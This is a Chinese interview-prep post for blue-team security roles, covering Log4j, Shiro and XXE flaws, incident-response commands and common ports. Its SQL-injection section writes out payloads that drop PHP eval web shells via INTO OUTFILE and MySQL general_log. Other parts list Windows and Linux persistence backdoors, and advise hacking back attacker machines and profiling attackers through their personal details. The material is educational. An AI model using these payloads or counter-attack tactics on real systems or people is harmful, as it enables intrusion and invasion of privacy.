面试经验分享 | 蓝队面试经验

news2024/11/25 7:08:37

关于蓝队面试经验

1.自我介绍能力

重要性
 

为什么将自我介绍能力放在第一位,实际上自我介绍才是面试中最重要的一点,因为护网面试并没有确定的题目,让面试官去提问
更多是的和面试官的一种 “交谈” ,面试的难易程度也自然就取决于你如何去和面试官 “聊天”。所以我认为自我介绍能力是面试能
力的首要位置

一些小建议
 

1.在面试前最好写个自我介绍,并且可以将他熟练的记下来,在面试开始前跟面试官请求先进行一个自我介绍,自我介绍的内容尽量突出
你的专业性,将你最有把我的信息展现出来,让面试官更能体会你的水平。

2.如果是学生,自我介绍的时候尽量避开年龄,当别人问了才回答,不问尽量别说

3.突出项目经历,尽可能详细的说出项目经历,越详细越能体现出你的经验。

2.一些我面试时候出现的比较多的问题

java log4j反序列化漏洞:
 

Log4j反序列化漏洞(CVE-2019-17571)
是由于Apache Log4j 1.x中存在的错误而导致的安全漏洞。这个漏洞仅影响已经过时的Log4j 1.x版本,不影响Log4j 2.x版本。
这个漏洞源于org.apache.log4j.net.SocketServer类中的handleRequest方法,在处理接收到的日志事件对象时没有正确地限制反序列化过程。
当攻击者向这个类发送恶意构造的序列化数据时,可能触发远程代码执行,从而导致严重的安全问题。

log4j2漏洞
 

Log4j2漏洞
这个漏洞不是由反序列化引起的,而是由于 Log4j2 的 JNDI 功能中的错误处理导致的。攻击者可以通过精心构造的日志消息触发 Log4j2 中的 JndiLookup 类来执行任意代码,从而导致远程代码执行。

sql注入写入shell的方法(http://example.com/view.php?id='123'为例子):
1.通过union联合查询进行shell写入:
 

123' union select 1,"<?php @eval($_GET['qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqcmd'])?>" into outfile "绝对路径" --+

2.通过分隔符进行shell写入(union查询无法使用时候,多用于盲注):
 

123' into outfile "E:\phpStudy\PHPTutorial\WWW\DVWA-master\321.php" line terminated by "<?php <span class="label label-primary">@eval($_GET['cmd'])?</span>&gt;" --+

原理解释:
这会创建一个名为 321.php 的文件,并将其存储在服务器上的 E:\phpStudy\PHPTutorial\WWW\DVWA-master 目录下。这个文件包含 <?php @eval($_GET[‘cmd’])?> 代码(因为LINES TERMINATED BY “<?php @eval($_GET[‘cmd’])?>” 这句话将 <?php @eval($_GET[‘cmd’])?>作为行终止符。我们使用into outfile会创建一个321.php 的文件,但是无法使用union查询,所以无法写入向321.php 的文件,所以这个321.php 文件就只有一个开始符和终止符,我们使用LINES TERMINATED BY “<?php @eval($_GET[‘cmd’])?>”,就可以将终止符设置为<?php @eval($_GET[‘cmd’])?>),当访问该文件时,它将显示服务器的 PHP 配置信息。

相同的道理还可以使用:

 

?id=1 INTO OUTFILE '物理路径' lines terminated by (<?php eval($_POST[cmd])?>)#

?id=1 INTO OUTFILE '物理路径' fields terminated by (<?php eval($_POST[cmd])?>)#

?id=1 INTO OUTFILE '物理路径' columns terminated by (<?php eval($_POST[cmd])?>)#

?id=1 INTO OUTFILE '物理路径' lines starting by (<?php eval($_POST[cmd])?>)#

这四个注入语句

3.通过log写入shell

原理解释:
开启mysql的log功能,并且把log功能设置为一个可访问的php文件路径A,然后执行一个带有php命令的sql语句,该语句会被log记录,然后关闭log功能,访问PHP路径A,由于关闭了log功能,php文件正常会被当成php执行,刚刚开启log时候,由于记录了带有php代码是sql语句,所以php文件A带有了php命令,访问php文件A即可。

命令:
show variables like ‘%general%’; #查看配置

 

set global general_log = on; #开启general log模式

set global general_log_file = '网站目录/shell.php'; #设置日志目录为shell地址

select '<?php eval($_POST[shell]);?>' #写入shell

set global general_log=off; #关闭general log模式

3.java内存马查杀

Java 内存马是一种通过将恶意代码加载到 Java 运行时环境(JRE)的内存中来执行攻击的木马。手动查杀 Java 内存马需要关注异常行为和可疑进程。这里有一些建议供您参考:

  1. 寻找异常进程

    • 使用任务管理器(Windows)或 top/ps 命令(Linux)查看当前运行的所有进程。

    • 查找异常的 Java 进程,如 CPU 占用率过高、内存占用率不正常等。

  2. 分析 Java 堆栈

    • 对可疑的 Java 进程执行 jstack 命令以获取线程堆栈信息:jstack [pid] > stack.txt

    • 仔细查看堆栈信息,寻找不寻常的类、方法或代码段。

  3. 检查 Java 类加载器

    • 使用 jmap 命令列出 Java 进程中的所有类加载器:jmap -clstats [pid]

    • 查找非标准的类加载器,例如不属于 Java 系统类加载器的自定义类加载器。

  4. 审查 Java 虚拟机参数

    • 检查 Java 虚拟机的启动参数,使用 jinfo 命令:jinfo -flags [pid]

    • 确保不存在可疑的启动参数,如 -javaagent 或 -Xbootclasspath 等。

  5. 监控网络连接

    • 使用 netstat(Windows)或 lsof(Linux)命令查看当前的网络连接。

    • 关注未知或异常的远程连接,特别是与可疑的 Java 进程相关的连接。

4.应急的时候常看的Windows目录
 

hosts文件所在位置:C:\Windows\System32\drivers\etc\hosts
日记所在位置 计算机管理 --》事件查看器 --》 windows日志
定时任务查看 --- schtasks
启动项查看 ---msconfig --》启动

5.应急时候常使用的Windows命令:
 

进程查看 ---tasklist
网络连接情况 ---netstat -ano
端口情况 --netstat
执行的服务查看 ---Services.msc

6.应急的时候常看的Linux目录:
 

环境变量所在位置:etc/environment
host文件所在位置 ---etc/hosts
日志所在位置 --- var/log
定时任务所在位置 --- etc/crontab
定时任务命令:列出定时任务:crontab -l ;编辑定时任务:crontab -e
启动项所在位置 ---etc/rc[0-6].d 这个表示的是不同运行级别(runlevel)执行的启动项命令不一样, 例如runlevel6表示的是重启,重启就会执行etc/rc6.d里面的任务

7.应急的时候常看Linux命令:
 

进程查看 --- ps -aux
网络连接查看 --- netstat -s
端口查看 --- netstat -antp
服务查看 --- service

8.文件上传漏洞绕过思路

1.黑名单

 

a.后缀名不完整 .php5 .phtml等
b.上传.htacess
c.大小写
d.在数据包中 后文件缀名前加空格
e.后缀名前加.
f.加上::$DATA
g.未循环验证,可以使用x.php..类似的方法

2.白名单(一般需要配合其他漏洞一起利用)

 

a.%00截断
b.图片马
c.条件竞争

9.白银票据与黄金票据的原理
 

金票:
在 Kerberos 认证中,Client 通过 AS(身份认证服务)认证后,AS 会给 Client
一个Logon Session Key 和 TGT,而 Logon Session Key 并不会保存在 KDC 中,
krbtgt 的NTLM Hash 又是固定的,所以只要得到 krbtgt 的 NTLM Hash,就可以伪造
TGT 和Logon Session Key 来进入下一步 Client 与 TGS 的交互。而已有了金票后,
就跳过AS 验证,不用验证账户和密码,所以也不担心域管密码修改

银票:
如果说黄金票据是伪造的 TGT,那么白银票据就是伪造的 ST。在 Kerberos 认证的
第三步,Client 带着 ST 和Authenticator3 向 Server 上的某个服务进行请求,
Server 接收到 Client 的请求之后,通过自己的 Master Key 解密 ST,从而获得
Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证
成功就让 Client 访问 server 上的指定服务了。所以我们只需要知道 Server 用户的
Hash 就可以伪造出一个 ST,且不会经过 KDC,但是伪造的门票只对部分服务起作用

10.window权限维持
 

1.替换系统文件类
(shift 后门,放大镜后门)

2.修改注册表类,
自启动项、屏幕保护程序注册表、用户登陆初始化、登录脚本、映像劫持、
影子账户、AppCertDlls 注册表项、AppInit_DLLs 注册表项、文件关联、用户登陆初始化、
xx.Netsh Helper DLL

3.文件类
自启动文件夹、office Word StartUp 劫持

4.计划任务
schtasks 、WMI、bitsadmin

11.linux权限维持
 

1.预加载型动态链接库后门
2.strace 后门
3.SSH 后门
4.SUID 后门
5.inetd 服务后门
6.协议后门
7.vim 后门
8.PAM 后门
9.进程注入
10.Rootkit
11.端口复用

12. 蓝队常用的反制手段有哪些?
 

a. 蜜罐
b. 对攻击目标进行反渗透(IP定位、IP端口扫描、Web站点渗透)
c. 应用漏洞挖掘&利用(菜刀、Goby、Xray、蚁剑)
d. id -> 社交特征关联
e. 钓鱼网站 -> 后台扫描、XSS盲打
f. 木马文件 -> 同源样本关联 -> 敏感字符串特征检测

13.应急响应的目的
 

1.判断黑客是否成功入侵
2.如果成功入侵,阻断黑客的攻击(把网线)
3.提取攻击样本,分析黑客的进攻路径
4.找到漏洞所在,即时修复漏洞

14.常见端口20.21 ftp
 

22 ssh
80 apache,nginx,http,iis
443 https
1433 sql server
1521 oracle数据库
2375 docker
3306 mysql
3389 rdp
5000 DB2
5432 postgresql
6379 redis数据库
7001 weblogic
8080 tomact jboss
9090 websphere中间件
9200 Elasticsearch
27017 mongodb
50070 hadoop数据库

15.溯源具体思路:
 

1.获取到ip。将该ip放在威胁感知分析平台进行分析,如果该ip存在web,查询网站的备案号等看是否可疑获取到个人信息,或者对该ip的web进行测试,看是否有漏洞,对该web进行渗透,看是否可以控制红队的攻击机,在其机器上进行信息收集,看是否可以获取到其他信息。

2.获取到黑客的某些个人信息,例如电话号码。进行社工,可以在各种社交软件中查询,看能不能获取到更多的信息,将范围逐步缩小至个人。

16.SHIRO-550:
 

shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:
得到rememberMe的cookie值--&gt;Base64解码--&gt;AES解密--&gt;反序列化
AES的密钥是硬编码在代码里,就导致了反序列化的RCE漏洞

17.SHIRO-721反序列化漏洞
 

不需要key,利用Padding Oracle Attack构造出RememberMe字段后段的值结合合法的
RememberMe cookie即可完成攻击

18.XXE是什么
 

XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件
保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML解析库在调用时严格禁

止对外部实体的解析。

  申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1649059.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Kubernetes 教程:在 Containerd 容器中使用 GPU

原文链接:Kubernetes 教程:在 Containerd 容器中使用 GPU 云原生实验室本文介绍了如何在使用 Containerd 作为运行时的 Kubernetes 集群中使用 GPU 资源。https://fuckcloudnative.io/posts/add-nvidia-gpu-support-to-k8s-with-containerd/ 前两天闹得沸沸扬扬的事件不知道…

C++ | Leetcode C++题解之第71题简化路径

题目&#xff1a; 题解&#xff1a; class Solution { public:string simplifyPath(string path) {auto split [](const string& s, char delim) -> vector<string> {vector<string> ans;string cur;for (char ch: s) {if (ch delim) {ans.push_back(mov…

深度学习之基于YOLOv5目标检测可视化系统

欢迎大家点赞、收藏、关注、评论啦 &#xff0c;由于篇幅有限&#xff0c;只展示了部分核心代码。 文章目录 一项目简介 二、功能三、系统四. 总结 一项目简介 一、项目背景与意义 随着深度学习技术的快速发展&#xff0c;目标检测在多个领域中的应用日益广泛&#xff0c;包括…

CMakeLists.txt语法规则:foreach 循环基本用法

一. 简介 cmake 中除了 if 条件判断之外&#xff0c;还支持循环语句&#xff0c;包括 foreach()循环、while()循环。 本文学习 CMakeLists.txt语法中的循环语句。 CMakeLists.txt语法中 有两种 循环实现方式&#xff1a;foreach循环与 while循环。 二. CMakeLists.txt语法规则…

【vue3-pbstar-big-screen】一款基于vue3、vite、ts的大屏可视化项目

vue3-pbstar-big-screen是一款基于vue3、vite、ts的大屏可视化项目&#xff0c;项目已内置axios、sass&#xff0c;如element、echarts等需要自行安装。 屏幕适配方案 本项目主要通过transform: scale()缩放核心区域实现屏幕适配效果 //html <div class"container-wr…

编程算法赛

1偶数累加 2、统计字符的数量 3、计算表达式的值 4、哥德巴赫猜想 5、进制的转换

【一刷《剑指Offer》】面试题 16:反转链表

力扣对应题目链接&#xff1a;206. 反转链表 - 力扣&#xff08;LeetCode&#xff09; 牛客对应题目链接&#xff1a;反转链表_牛客题霸_牛客网 (nowcoder.com) 核心考点 &#xff1a;链表操作&#xff0c;思维缜密程度。 一、《剑指 Offer》内容 二、分析题目 解题思路&#…

CoPilot 产品体验:提升 OpenNJet 的控制管理和服务提供能力

文章目录 前言系统架构介绍CoPilot 配置CoPilot 插件规范 体验 CoPilot 实例CoPilot: Broker 实例CoPilot: Ctrl 实例 开发其他语言编写的 CoPilot目标主要思路具体实现执行 go 程序代码 功能扩展总结 前言 CoPilot 是 OpenNJet 的一个重要组成部分&#xff0c;它在 Master-Wo…

【QA】Java常见运算符

前言 本文主要讲述Java常见的运算符 运算符的概念 两个基本概念&#xff1a; 运算符&#xff1a;对字面量或者变量进行操作的符号 表达式&#xff1a;用运算符把字面量或者变量连接起来符合java语法的式子就可以称为表达式 示例&#xff1a; int a 10; int b 20; int …

【一看就懂】UART、IIC、SPI、CAN四种通讯协议对比介绍

UART、IIC、SPI、CAN四种通信协议对比 通信方式传输线通讯方式标准传输速度使用场景UARTTX(发送数据线)、RX(接收数据线)串行、异步、全双工115.2 kbit/s(常用)计算机和外部设备通信&#xff08;打印机&#xff09;IICSCL(时钟线)、SDA(数据线)串行、同步、半双工100 kbit/s(标…

HNU-人工智能-实验4-基于Resnet的分类器

前言 本实验是自选实验&#xff0c;可以在给定范围内选择。 我刚刚提交了实验报告&#xff0c;暂时不准备放出我自己的实验报告&#xff0c;大概在截止提交之后我再放。 之所以这么着急写blog&#xff0c;是想便利还没做实验的同学。 如果选择的也是这个“毒蘑菇识别”的分类器…

安卓手机录屏在哪里?教给你3种方法

随着智能手机的普及&#xff0c;录屏功能在日常生活和工作中的需求日益增加。那么安卓手机录屏功能在哪里&#xff1f; 本文将详细介绍3个安卓手机的录屏方法&#xff0c;并分享一些实用技巧&#xff0c;帮助您更好地利用这一功能。 方法一&#xff1a;使用安卓手机自带的录屏…

武汉星起航:自运营团队—亚马逊平台运营典范,优势凸显业绩斐然

武汉星起航电子商务有限公司&#xff0c;作为跨境电商领域的佼佼者&#xff0c;凭借自运营团队多年的深耕经验与对亚马逊市场规则的深刻理解&#xff0c;成功在亚马逊平台开设多家自营店铺&#xff0c;并取得显著成绩。公司月流水达到几百万的辉煌业绩&#xff0c;不仅彰显了其…

基于 OpenHarmony compress 三方件使用指南~

关于 提供了一个轻量级的图像压缩库。将允许您将大照片压缩成小 尺寸的照片&#xff0c;图像质量损失或可以忽略不计 compress 的依赖添加 为你的应用添加 compress-debug.har。将 compress-debug.har 复制到 entry\libs 目录下即可&#xff08;由于 build.gradle 中已经依赖…

笔记---DFS,深度优先搜索

深度优先搜索乃是注重深度&#xff0c;会把一条路径优先全部搜完然后再去回溯&#xff0c;再去搜其他路径 连通性模型 与BFS中的Flood Fill相似 AcWing.1112.迷宫 一天Extense在森林里探险的时候不小心走入了一个迷宫&#xff0c;迷宫可以看成是由 n∗n 的格点组成&#xff…

Java:内存模型

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 目录 一、Java内存模型出现的背景 二、什么是Java内存模型 三、Java内存模型的底层实现 总结 提示&#xff1a;以下是本篇文章正文内容&#xff0c;下面案例可供参考 一…

基于C语言的贪吃蛇小游戏(简易版)

这篇博客会是对学习C语言成果的检测&#xff0c;为了实现贪吃蛇小游戏&#xff0c;我们用到的“工具”有&#xff1a;C语言函数、枚举、结构体、动态内存管理、预处理指令、链表、Win32 API等。 目录 1.简易版游戏效果 1.1欢迎界面 1.2游戏规则提示页面 1.3游戏进行页面 …

STM32F407VET6 学习笔记1:GPIO引脚认识分类与开发板原理图

今日学习STM32F407VET6 &#xff0c;首先从基本原理图、引脚方面开始做个初步理解并整理&#xff1a; 这里使用的学习开发板是在嘉立创购买的 立创梁山派天空星&#xff0c;芯片是 STM32F407VET6 主要对这个芯片的引脚做一些归纳认识、对开发学习板原理图设计进行认识理解:最…

恭喜发财!东方第一 MEME 拥抱符文

第 431 号符文 HOPE•YOU•GET•RICH &#x1f9e7;&#xff0c;是 Omnity 首个支持的跨链 Runes 资产&#xff0c;也是TG群里红包小程序支持的第一个 Runes 资产。 大家可以在 Omnity 的 TG 群和 RunesCC 的 TG 群里&#xff0c;不定时的抢到符文红包。 Omnity TG&#xff1a;…

智慧监测IN!计讯物联筑牢高速滑坡预警“安全锁”

在现代社会&#xff0c;高速公路以其高速、便捷的特性&#xff0c;早已成为连接城市与地区之间的重要纽带&#xff0c;承载着日益增长的车流和人流。然而&#xff0c;随着车流量的激增&#xff0c;高速公路面临的运营压力和安全挑战也随之加大&#xff0c;其中滑坡风险尤为突出…